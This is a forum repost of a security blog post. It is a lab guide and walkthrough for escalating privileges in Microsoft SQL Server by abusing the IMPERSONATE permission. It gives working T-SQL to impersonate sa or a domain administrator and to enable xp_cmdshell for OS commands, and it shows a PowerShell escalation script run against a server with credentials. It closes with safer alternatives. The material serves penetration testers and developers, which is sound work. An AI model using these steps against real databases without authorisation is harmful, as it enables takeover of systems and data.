Nytro Posted December 8, 2014 Report Posted December 8, 2014 [h=2]Hacking SQL Server Stored Procedures – Part 2: User Impersonation[/h] Scott Sutherland | December 8, 2014 Application developers often use SQL Server stored procedures to make their code more modular, and help apply the principle of least privilege. Occasionally those stored procedures need to access resources external to their application’s database. In order to satisfy that requirement sometimes developers use the IMPERSONATE privilege and the EXECUTE AS function to allow the impersonation of other logins on demand. Although this isn’t really a vulnerability, this type of weak configuration often leads to privilege escalation. This blog provides a lab guide and attack walk-through that can be used to gain a better understanding of how the IMPERSONATE privilege can lead to privilege escalation in SQL Server. This should be interesting to penetration testers, application developers, and dev-ops. However, it will most likely be pretty boring to DBAs that know what they’re doing. Below is a summary of the topics being covered:Setting up a LabFinding SQL Server Logins that can be ImpersonatedImpersonating SQL Logins and Domain AccountsAutomating Escalation with Metasploit and PowerShellAlternatives to Impersonation [h=2]Setting up a Lab[/h] Below I’ve provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario covered in this blog.Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at Download Microsoft SQL Server 2014 Express.Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.Make sure to enable the tcp protocol so that we can connect to the listener remotely. Instructions can be found at How to: Configure Express to accept remote connections - SQL Server Express WebLog - Site Home - MSDN Blogs.Log into the SQL Server with the “sa” account setup during the installation using the SQL Server Management Studio application that comes with SQL Server.Press the “New Query” button and use the TSQL below to create the new users for the lab. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Create login 1CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';-- Create login 2CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';-- Create login 3CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';-- Create login 4CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';[/TD] [/TR] [/TABLE]Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Grant myuser1 impersonate privilege on myuser2, myuser3, and saUSE master;GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];GO[/TD] [/TR] [/TABLE] [h=2]Finding SQL Server Logins that can be impersonated[/h] The first step to impersonating another login is findings which ones your account is allowed to impersonate. By default, sysadmins can impersonate anyone, but normal logins must be assigned privileges to impersonate specific users. Below are the instructions for finding out what users you can impersonate.Log into the SQL Server as the MyUser1 login using SQL Server Management Studio.Run the query below to get a list of logins that can be impersonated by the “MyUser1” login. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Find users that can be impersonatedSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name = 'IMPERSONATE'[/TD] [/TR] [/TABLE]Below is a screenshot of the expected results. Note: In the example above, the query is being executed via a direct database connection, but in the real world external attackers are more likely to execute it via SQL injection. [h=2]Impersonating SQL Logins and Domain Accounts[/h] Now that we have a list of logins that we know we can impersonate we can start escalating privileges. J In this section I’ll show how to impersonate users, revert to your original user, and impersonate domain users (like the domain admin). Fun fun fun… [h=3]Impersonating SQL Server Logins[/h] Log into the SQL Server using the MyUser1 login (if you’re not already).Verify that you are running as a SQL login that does not have the sysadmin role. Then run EXECTUTE AS to impersonate the sa login that was identified in the last section. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Verify you are still running as the myuser1 loginSELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')-- Impersonate the sa loginEXECUTE AS LOGIN = 'sa'-- Verify you are now running as the sa loginSELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')[/TD] [/TR] [/TABLE] Below is an example of the expected output. Now you should be able to access any database and enable/run xp_cmdshell to execute commands on the operating system as the SQL Service service account (LocalSystem). Below is some example code. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Enable show optionsEXEC sp_configure 'show advanced options',1RECONFIGUREGO-- Enable xp_cmdshellEXEC sp_configure 'xp_cmdshell',1RECONFIGUREGO-- Quickly check what the service account is via xp_cmdshellEXEC master..xp_cmdshell 'whoami'[/TD] [/TR] [/TABLE] Below is an example of the expected output: Tada! In this scenario we were able to become the sysadmin “sa”. You may not always get a sysadmin account right out of the gate, but at a minimum you should get additional data access when impersonating other logins. Note: Even a small increase in privileges can provide the first step in an escalation chain. For example, if you have the rights to impersonate a db_owner you may be able to escalate to a syadmin using the attack I covered in my last blog. It can be found here. [h=3]Impersonating SQL Logins as Sysadmin[/h] Once you’ve obtained a sysadmin account you have the ability to impersonate database login you want. You can grab a full list of logins from the . [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Get a list of loginsSELECT * FROM master.sys.sysusersWHERE islogin = 1[/TD] [/TR] [/TABLE] Screenshot below: Once you have the list it’s pretty easy to become anyone. Below is an example of impersonating the MyUser4 login. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Verify you are still impersonating saselect SYSTEM_USERselect IS_SRVROLEMEMBER('sysadmin')-- Impersonate MyUser4EXECUTE AS LOGIN = 'MyUser4'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT[/TD] [/TR] [/TABLE] Below is a screenshot: Note: Make sure to REVERT back to the sysadmin account when you’re done. Otherwise you’ll continue to run under the context of the MyUser4 login. [h=3]Impersonating Domain Admins as a Sysadmin[/h] Did I mention that you can impersonate any user in Active Directory? As it turns out it doesn’t even have to be mapped to an SQL Server login. However, the a catch is that it only applies to the SQL Server. That’s mostly because the SQL Server has no way to authenticate the Domain User to another system…that I’m aware of. So it’s not actually as cool as it sounds, but still kind of fun. Note: Another important note is that when you run xp_cmdshell while impersonating a user all of the commands are still executed as the SQL Server service account, NOT the SQL Server login or impersonated domain user. Below is a basic example of how to do it: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Get the domain of the SQL ServerSELECT DEFAULT_DOMAIN()-- Impersonate the domain administratorEXECUTE AS LOGIN = 'DEMO\Administrator'-- Verify you are now running as the Domain AdminSELECT SYSTEM_USER[/TD] [/TR] [/TABLE] Note: Remember that the domain will be different for everyone. In my example the domain is “DEMO”. Below is an example of the expected output. Revert to the original Login If you get sick of being a sysadmin or a Pseudo Domain Admin you can always REVERT to your original login again. Just be aware that if you run the impersonation multiple times you may have to run REVERT multiple times. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] -- Revert to your original loginREVERT-- Verify you are now running as the MyUser1 loginSELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')[/TD] [/TR] [/TABLE] [h=2]1.5 Automating Escalation with Metasploit and PowerShell[/h] Since I’m lazy and don’t like to type more that I have to, I wrote a Metasploit module and PowerShell script to automate the attack for direct database connections. I also wrote a Metasploit module to execute the escalation via error based SQL injection. Big thanks to guys on the Metasploit team who helped me get the modules into the framework. [h=3]Metasploit Module: mssql_escalate_executeas[/h] Below is an example of the mssql_escalate_executeas module being used to escalate the privileges of the myuser1 login using a direct database connection. Typically this would happen during an internal penetration test after guessing database user/passwords or finding database connection strings. [h=3]Metasploit Module: mssql_escalate_executeas_sqli[/h] Below is an example of the mssql_escalate_executeas_sqli module being used to escalate the privileges of the myuser1 login using error based SQL injection. This is more practical during external network penetration tests. Mostly because SQL injection is pretty common and database ports usually are not exposed to the internet. Anyway pretty screenshot below… [h=3]PowerShell Script[/h] For those who like to play around with PowerShell, I also put a script together that can be used to escalate the privileges of the myuser1 login via a direct database connection. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1. The module can be imported with the command below. Also, I’m aware the name is comically long, but at this point I’m just trying to be descriptive. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] Import-Module .\Invoke-SqlServer-Escalate-ExecuteAs.psm1[/TD] [/TR] [/TABLE] Then you can run it with the following command. [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-code] Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword![/TD] [/TR] [/TABLE] Below is a basic screenshot of what it looks like when it runs. [h=2]Alternatives to Impersonation[/h] There quite a few options for providing stored procedures with access to external resources without providing SQL logins with the privileges to impersonate other users at will. However, they all come with their own risks and implementation challenges. Hopefully, I’ll have some time in the near future to cover each in more depth, but below is a summary of common options.Create roles with the required privileges on external objects. This doesn’t always make least privilege easy, and can generally be a management pain.Use cross local/database ownership chaining. This one can end in escalation paths as well. More information can be found at cross db ownership chaining Server Configuration Option.Use EXECUTE WITH in the stored procedure to run as the stored procedure owner. This isn’t all bad, but can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions.Use signed stored procedures that have been assigned access to external objects. This seems like the most secure option with the least amount of management overhead. Similar to the EXECUTE WITH option, this can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions. More information at Tutorial: Signing Stored Procedures with a Certificate. [h=2]Wrap Up[/h] The issues covered in this blog/lab were intended to help pentesters, developers, and dev-ops gain a better understanding of how the IMPERSONATE privilege can be used an abused. Hopefully the information is useful. Have fun with it, but don’t forget to hack responsibly. [h=2]References[/h] EXECUTE AS Clause (Transact-SQL)REVERT (Transact-SQL)Sursa: https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/ Quote